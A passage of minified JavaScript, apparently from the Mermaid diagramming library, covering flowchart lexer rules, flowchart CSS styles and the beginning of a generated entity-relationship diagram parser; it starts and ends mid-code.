[^\.]|\.(?!))/,/^(?:\s*~~[\~]+\s*)/,/^(?:[-/\)][\)])/,/^(?:[^\(\)\[\]\{\}]|!\)+)/,/^(?:\(-)/,/^(?:\]\))/,/^(?:\(\[)/,/^(?:\]\])/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:>)/,/^(?:\)\])/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\(\(\()/,/^(?:[\\(?=\])][\]])/,/^(?:\/(?=\])\])/,/^(?:\/(?!\])|\\(?!\])|[^\\\[\]\(\)\{\}\/]+)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:<)/,/^(?:>)/,/^(?:\^)/,/^(?:\\\|)/,/^(?:v\b)/,/^(?:\*)/,/^(?:#)/,/^(?:&)/,/^(?:([A-Za-z0-9!"\#$%&'*+\.`?\\_\/]|-(?=[^\>\-\.])|(?!))+)/,/^(?:-)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\|)/,/^(?:\|)/,/^(?:\))/,/^(?:\()/,/^(?:\])/,/^(?:\[)/,/^(?:(\}))/,/^(?:\{)/,/^(?:[^\[\]\(\)\{\}\|\"]+)/,/^(?:")/,/^(?:(\r?\n)+)/,/^(?:\s)/,/^(?:$)/],conditions:{shapeDataEndBracket:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeDataStr:{rules:[9,10,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeData:{rules:[8,11,12,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackargs:{rules:[17,18,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackname:{rules:[14,15,16,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},href:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},click:{rules:[21,24,33,34,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dottedEdgeText:{rules:[21,24,74,76,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},thickEdgeText:{rules:[21,24,71,73,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},edgeText:{rules:[21,24,68,70,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},trapText:{rules:[21,24,77,80,82,84,88,90,91,92,93,94,95,108,110,112,114],inclusive:!1},ellipseText:{rules:[21,24,77,78,79,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},text:{rules:[21,24,77,80,81,82,83,84,87,88,89,90,94,95,107,108,109,110,111,112,113,114,115],inclusive:!1},vertex:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dir:{rules:[21,24,44,45,46,47,48,49,50,51,52,53,54,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr_multiline:{rules:[5,6,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr:{rules:[3,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_title:{rules:[1,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},md_string:{rules:[19,20,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},string:{rules:[21,22,23,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},INITIAL:{rules:[0,2,4,7,13,21,24,25,26,27,28,29,30,31,32,35,36,37,38,39,40,41,42,43,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,71,72,74,75,77,80,82,84,85,86,88,90,94,95,96,97,98,99,100,101,102,103,104,105,106,108,110,112,114,116,117,118,119],inclusive:!0}}};return fr})();Hi.lexer=Zs;function _a(){this.yy={}}return o(_a,"Parser"),_a.prototype=Hi,Hi.Parser=_a,new _a})();GI.parser=GI;VI=GI});var ffe,dfe,pfe=N(()=>{"use strict";hfe();ffe=Object.assign({},VI);ffe.parse=t=>{let e=t.replace(/}\s*\n/g,`} +`);return VI.parse(e)};dfe=ffe});var zc,yg=N(()=>{"use strict";zc=o(()=>` + /* Font Awesome icon styling - consolidated */ + .label-icon { + display: inline-block; + height: 1em; + overflow: visible; + vertical-align: -0.125em; + } + + .node .label-icon path { + fill: currentColor; + stroke: revert; + stroke-width: revert; + } +`,"getIconStyles")});var Jqe,eWe,mfe,gfe=N(()=>{"use strict";eo();yg();Jqe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),eWe=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span { + color: ${t.titleColor}; + } + .cluster-label span p { + background-color: transparent; + } + + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .rough-node .label text , .node .label text, .image-shape .label, .icon-shape .label { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .katex path { + fill: #000; + stroke: #000; + stroke-width: 1px; + } + + .rough-node .label,.node .label, .image-shape .label, .icon-shape .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + + .root .anchor path { + fill: ${t.lineColor} !important; + stroke-width: 0; + stroke: ${t.lineColor}; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${Jqe(t.edgeLabelBackground,.5)}; + // background-color: + } + + .cluster rect { + fill: ${t.clusterBkg}; + stroke: ${t.clusterBorder}; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + + rect.text { + fill: none; + stroke-width: 0; + } + + .icon-shape, .image-shape { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + padding: 2px; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + ${zc()} +`,"getStyles"),mfe=eWe});var CE={};dr(CE,{diagram:()=>tWe});var tWe,AE=N(()=>{"use strict";Xt();Bte();ufe();pfe();gfe();tWe={parser:dfe,get db(){return new lw},renderer:cfe,styles:mfe,init:o(t=>{t.flowchart||(t.flowchart={}),t.layout&&nv({layout:t.layout}),t.flowchart.arrowMarkerAbsolute=t.arrowMarkerAbsolute,nv({flowchart:{arrowMarkerAbsolute:t.arrowMarkerAbsolute}})},"init")}});var UI,Tfe,wfe=N(()=>{"use strict";UI=(function(){var t=o(function(K,ae,Q,de){for(Q=Q||{},de=K.length;de--;Q[K[de]]=ae);return Q},"o"),e=[6,8,10,22,24,26,28,33,34,35,36,37,40,43,44,50],r=[1,10],n=[1,11],i=[1,12],a=[1,13],s=[1,20],l=[1,21],u=[1,22],h=[1,23],f=[1,24],d=[1,19],p=[1,25],m=[1,26],g=[1,18],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[6,8,10,13,15,17,20,21,22,24,26,28,33,34,35,36,37,40,43,44,50,63,64,65,66,67],w=[1,42],k=[1,43],A=[1,52],C=[40,50,68,69],R=[1,63],I=[1,61],L=[1,58],E=[1,62],D=[1,64],_=[6,8,10,13,17,22,24,26,28,33,34,35,36,37,40,41,42,43,44,48,49,50,63,64,65,66,67],O=[63,64,65,66,67],M=[1,81],P=[1,80],B=[1,78],F=[1,79],G=[6,10,42,47],$=[6,10,13,41,42,47,48,49],U=[1,89],j=[1,88],te=[1,87],Y=[19,56],oe=[1,98],J=[1,97],ue=[19,56,58,60],re={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,ER_DIAGRAM:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,entityName:11,relSpec:12,COLON:13,role:14,STYLE_SEPARATOR:15,idList:16,BLOCK_START:17,attributes:18,BLOCK_STOP:19,SQS:20,SQE:21,title:22,title_value:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,direction:29,classDefStatement:30,classStatement:31,styleStatement:32,direction_tb:33,direction_bt:34,direction_rl:35,direction_lr:36,CLASSDEF:37,stylesOpt:38,separator:39,UNICODE_TEXT:40,STYLE_TEXT:41,COMMA:42,CLASS:43,STYLE:44,style:45,styleComponent:46,SEMI:47,NUM:48,BRKT:49,ENTITY_NAME:50,attribute:51,attributeType:52,attributeName:53,attributeKeyTypeList:54,attributeComment:55,ATTRIBUTE_WORD:56,attributeKeyType:57,",":58,ATTRIBUTE_KEY:59,COMMENT:60,cardinality:61,relType:62,ZERO_OR_ONE:63,ZERO_OR_MORE:64,ONE_OR_MORE:65,ONLY_ONE:66,MD_PARENT:67,NON_IDENTIFYING:68,IDENTIFYING:69,WORD:70,$accept:0,$end:1},terminals_:{2:"error",4:"ER_DIAGRAM",6:"EOF",8:"SPACE",10:"NEWLINE",13:"COLON",15:"STYLE_SEPARATOR",17:"BLOCK_START",19:"BLOCK_STOP",20:"SQS",21:"SQE",22:"title",23:"title_value",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"direction_tb",34:"direction_bt",35:"direction_rl",36:"direction_lr",37:"CLASSDEF",40:"UNICODE_TEXT",41:"STYLE_TEXT",42:"COMMA",43:"CLASS",44:"STYLE",47:"SEMI",48:"NUM",49:"BRKT",50:"ENTITY_NAME",56:"ATTRIBUTE_WORD",58:",",59:"ATTRIBUTE_KEY",60:"COMMENT",63:"ZERO_OR_ONE",64:"ZERO_OR_MORE",65:"ONE_OR_MORE",66:"ONLY_ONE",67:"MD_PARENT",68:"NON_IDENTIFYING",69:"IDENTIFYING",70:"WORD"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,5],[9,9],[9,7],[9,7],[9,4],[9,6],[9,3],[9,5],[9,1],[9,3],[9,7],[9,9],[9,6],[9,8],[9,4],[9,6],[9,2],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[9,1],[29,1],[29,1],[29,1],[29,1],[30,4],[16,1],[16,1],[16,3],[16,3],[31,3],[32,4],[38,1],[38,3],[45,1],[45,2],[39,1],[39,1],[39,1],[46,1],[46,1],[46,1],[46,1],[11,1],[11,1],[18,1],[18,2],[51,2],[51,3],[51,3],[51,4],[52,1],[53,1],[54,1],[54,3],[57,1],[55,1],[12,3],[61,1],[61,1],[61,1],[61,1],[61,1],[62,1],[62,1],[14,1],[14,1],[14,1]],performAction:o(function(ae,Q,de,ne,Te,q,Ve){var pe=q.length-1;switch(Te){case 1:break;case 2:this.$=[];break;case 3:q[pe-1].push(q[pe]),this.$=q[pe-1];break;case 4:case 5:this.$=q[pe];break;case 6:case 7:this.$=[];break;case 8:ne.addEntity(q[pe-4]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-4],q[pe],q[pe-2],q[pe-3]);break;case 9:ne.addEntity(q[pe-8]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-8],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-8]],q[pe-6]),ne.setClass([q[pe-4]],q[pe-2]);break;case 10:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-6],q[pe],q[pe-2],q[pe-3]),ne.setClass([q[pe-6]],q[pe-4]);break;case 11:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-6],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-4]],q[pe-2]);break;case 12:ne.addEntity(q[pe-3]),ne.addAttributes(q[pe-3],q[pe-1]);break;case 13:ne.addEntity(q[pe-5]),ne.addAttributes(q[pe-5],q[pe-1]),ne.setClass([q[pe-5]],q[pe-3]);break;case 14:ne.addEntity(q[pe-2]);break;case 15:ne.addEntity(q[pe-4]),ne.setClass([q[pe-4]],q[pe-2]);break;case 16:ne.addEntity(q[pe]);break;case 17:ne.addEntity(q[pe-2]),ne.setClass([q[pe-2]],q[pe]);break;case 18:ne.addEntity(q[pe-6],q[pe-4]),ne.addAttributes(q[pe-6],q[pe-1]);break;case 19:ne.addEntity(q[pe-8],q[pe-6]),ne.addAttributes(q[pe-8],q[pe-1]),ne.setClass([q[pe-8]],q[pe-3]);break;case 20:ne.addEntity(q[pe-5],q[pe-3]);break;case 21:ne.addEntity(q[pe-7],q[pe-5]),ne.setClass([q[pe-7]],q[pe-2]);break;case 22:ne.addEntity(q[pe-3],q[pe-1]);break;case 23:ne.addEntity(q[pe-5],q[pe-3]),ne.setClass([q[pe-5]],q[pe]);break;case 24:case 25:this.$=q[pe].trim(),ne.setAccTitle(this.$);break;case 26:case 27:this.$=q[pe].trim(),ne.setAccDescription(this.$);break;case 32:ne.setDirection("TB");break;case 33:ne.setDirection("BT");break;case 34:ne.setDirection("RL");break;case 35:ne.setDirection("LR");break;case 36:this.$=q[pe-3],ne.addClass(q[pe-2],q[pe-1]);break;case 37:case 38:case 56:case 64:this.$=[q[pe]];break;case 39:case 40:this.$=q[pe-2].concat([q[pe]]);break;case 41:this.$=q[pe-2],ne.setClass(q[pe-1],q[pe]);break;case 42:this.$=q[pe-3],ne.addCssStyles(q[pe-2],q[pe-1]);break;case 43:this.$=[q[pe]];break;case 44:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 46:this.$=q[pe-1]+q[pe];break;case 54:case 76:case 77:this.$=q[pe].replace(/"/g,"");break;case 55:case 78:this.$=q[pe];break;case 57:q[pe].push(q[pe-1]),this.$=q[pe];break;case 58:this.$={type:q[pe-1],name:q[pe]};break;case 59:this.$={type:q[pe-2],name:q[pe-1],keys:q[pe]};break;case 60:this.$={type:q[pe-2],name:q[pe-1],comment:q[pe]};break;case 61:this.$={type:q[pe-3],name:q[pe-2],keys:q[pe-1],comment:q[pe]};break;case 62:case 63:case 66:this.$=q[pe];break;case 65:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 67:this.$=q[pe].replace(/"/g,"");break;case 68:this.$={cardA:q[pe],relType:q[pe-1],cardB:q[pe-2]};break;case 69:this.$=ne.Cardinality.ZERO_OR_ONE;break;case 70:this.$=ne.Cardinality.ZERO_OR_MORE;break;case 71:this.$=ne.Cardinality.ONE_OR_MORE;break;case 72:this.$=ne.Cardinality.ONLY_ONE;break;case 73:this.$=ne.Cardinality.MD_PARENT;break;case 74:this.$=ne.Identification.NON_IDENTIFYING;break;case 75:this.$=ne.Identification.IDENTIFYING;break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:27,11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,5]),t(e,[2,6]),t(e,[2,16],{12:28,61:32,15:[1,29],17:[1,30],20:[1,31],63:y,64:v,65:x,66:b,67:T}),{23:[1,38]},{25:[1,39]},{27:[1,40]},t(e,[2,27]),t(e,[2,28]),t(e,[2,29]),t(e,[2,30]),t(e,[2,31]),t(S,[2,54]),t(S,[2,55]),t(e,[2,32]),t(e,[2,33]),t(e,[2,34]),t(e,[2,35]),{16:41,40:w,41:k},{16:44,40:w,41:k},{16:45,40:w,41:k},t(e,[2,4]),{11:46,40:d,50:g},{16:47,40:w,41:k},{18:48,19:[1,49],51:50,52:51,56:A},{11:53,40:d,50:g},{62:54,68:[1,55],69:[1,56]},t(C,[2,69]),t(C,[2,70]),t(C,[2,71]),t(C,[2,72]),t(C,[2,73]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),{13:R,38:57,41:I,42:L,45:59,46:60,48:E,49:D},t(_,[2,37]),t(_,[2,38]),{16:65,40:w,41:k,42:L},{13:R,38:66,41:I,42:L,45:59,46:60,48:E,49:D},{13:[1,67],15:[1,68]},t(e,[2,17],{61:32,12:69,17:[1,70],42:L,63:y,64:v,65:x,66:b,67:T}),{19:[1,71]},t(e,[2,14]),{18:72,19:[2,56],51:50,52:51,56:A},{53:73,56:[1,74]},{56:[2,62]},{21:[1,75]},{61:76,63:y,64:v,65:x,66:b,67:T},t(O,[2,74]),t(O,[2,75]),{6:M,10:P,39:77,42:B,47:F},{40:[1,82],41:[1,83]},t(G,[2,43],{46:84,13:R,41:I,48:E,49:D}),t($,[2,45]),t($,[2,50]),t($,[2,51]),t($,[2,52]),t($,[2,53]),t(e,[2,41],{42:L}),{6:M,10:P,39:85,42:B,47:F},{14:86,40:U,50:j,70:te},{16:90,40:w,41:k},{11:91,40:d,50:g},{18:92,19:[1,93],51:50,52:51,56:A},t(e,[2,12]),{19:[2,57]},t(Y,[2,58],{54:94,55:95,57:96,59:oe,60:J}),t([19,56,59,60],[2,63]),t(e,[2,22],{15:[1,100],17:[1,99]}),t([40,50],[2,68]),t(e,[2,36]),{13:R,41:I,45:101,46:60,48:E,49:D},t(e,[2,47]),t(e,[2,48]),t(e,[2,49]),t(_,[2,39]),t(_,[2,40]),t($,[2,46]),t(e,[2,42]),t(e,[2,8]),t(e,[2,76]),t(e,[2,77]),t(e,[2,78]),{13:[1,102],42:L},{13:[1,104],15:[1,103]},{19:[1,105]},t(e,[2,15]),t(Y,[2,59],{55:106,58:[1,107],60:J}),t(Y,[2,60]),t(ue,[2,64]),t(Y,[2,67]),t(ue,[2,66]),{18:108,19:[1,109],51:50,52:51,56:A},{16:110,40:w,41:k},t(G,[2,44],{46:84,13:R,41:I,48:E,49:D}),{14:111,40:U,50:j,70:te},{16:112,40:w,41:k},{14:113,40:U,50:j,70:te},t(e,[2,13]),t(Y,[2,61]),{57:114,59:oe},{19:[1,115]},t(e,[2,20]),t(e,[2,23],{17:[1,116],42:L}),t(e,[2,11]),{13:[1,117],42:L},t(e,[2,10]),t(ue,[2,65]),t(e,[2,18]),{18:118,19:[1,119],51:50,52:51,56:A},{14:120,40:U,50:j,70:te},{19:[1,121]},t(e,[2,21]),t(e,[2,9]),t(e,[2,19])],defaultActions:{52:[2,62],72:[2,57]},parseError:o(function(ae,Q){if(Q.recoverable)this.trace(ae);else{var de=new Error(ae);throw de.hash=Q,de}},"parseError"),parse:o(function(ae){var Q=this,de=[0],ne=[],Te=[null],q=[],Ve=this.table,pe="",Be=0,Ye=0,He=0,Le=2,Ie=1,Ne=q.slice.call(arguments,1),Ce=Object.create(this.lexer),Fe={yy:{}};for(var fe in this.yy)Object.prototype.hasOwnProperty.call(this.yy,fe)&&(Fe.yy[fe]=this.yy[fe]);Ce.setInput(ae,Fe.yy),Fe.yy.lexer=Ce,Fe.yy.parser=this,typeof Ce.yylloc>"u"&&(Ce.yylloc={});var xe=Ce.yylloc;q.push(xe);var W=Ce.options&&Ce.options.ranges;typeof Fe.yy.parseError=="function"?this.parseError=Fe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function he(et){de.length=de.length-2*et,Te.length=Te.length-et,q.length=q.length-et}o(he,"popStack");function z(){var et;return et=ne.pop()||Ce.lex()||Ie,typeof et!="number"&&(et instanceof Array&&(ne=et,et=ne.pop()),et=Q.symbols_[et]||et),et}o(z,"lex");for(var se,le,ke,ve,ye,Re,_e={},ze,Ke,xt,We;;){if(ke=de[de.length-1],this.defaultActions[ke]?ve=this.defaultActions[ke]:((se===null||typeof se>"u")&&(se=z()),ve=Ve[ke]&&Ve[ke][se]),typeof ve>"u"||!ve.length||!ve[0]){var Oe="";We=[];for(ze in Ve[ke])this.terminals_[ze]&&ze>Le&&We.push("'"+this.terminals_[ze]+"'");Ce.showPosition?Oe="Parse error on line "+(Be+1)+`: +`+Ce.showPosition()+` +Expecting `+We.join(", ")+", got '"+(this.terminals_[se]||se)+"'":Oe="Parse error on line "+(Be+1)+": Unexpected "+(se==Ie?"end of input":"'"+(this.terminals_[se]||se)+"'"),this.parseError(Oe,{text:Ce.match,token:this.terminals_[se]||se,line:Ce.yylineno,loc:xe,expected:We})}if(ve[0]instanceof Array&&ve.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ke+", token: "+se);switch(ve[0]){case 1:de.push(se),Te.push(Ce.yytext),q.push(Ce.yylloc),de.push(ve[1]),se=null,le?(se=le,le=null):(Ye=Ce.yyleng,pe=Ce.yytext,Be=Ce.yylineno,xe=Ce.yylloc,He>0&&He--);break;case 2:if(Ke=this.productions_[ve[1]][1],_e.$=Te[Te.length-Ke],_e._$={first_line:q[q.length-(Ke||1)].first_line,last_line:q[q.length-1].last_line,first_column:q[q.length-(Ke||1)].first_column,last_column:q[q.length-1].last_column},W&&(_e._$.range=[q[q.length-(Ke||1)].range[0],q[q.length-1].range[1]]),Re=this.performAction.apply(_e,[pe,Ye,Be,Fe.yy,ve[1],Te,q].concat(Ne)),typeof Re<"u")return Re;Ke&&(de=de.slice(0,-1*Ke*2),Te=Te.slice(0,-1*Ke),q=q.slice(0,-1*Ke)),de.push(this.productions_[ve[1]][0]),Te.push(_e.$),q.push(_e._$),xt=Ve[de[de.length-2]][de[de.length-1]],de.push(xt);break;case 3:return!0}}return!0},"parse")},ee=(function(){var K={EOF:1,parseError:o(function(Q,de){if(this.yy.parser)this.yy.parser.parseError(Q,de);else throw new 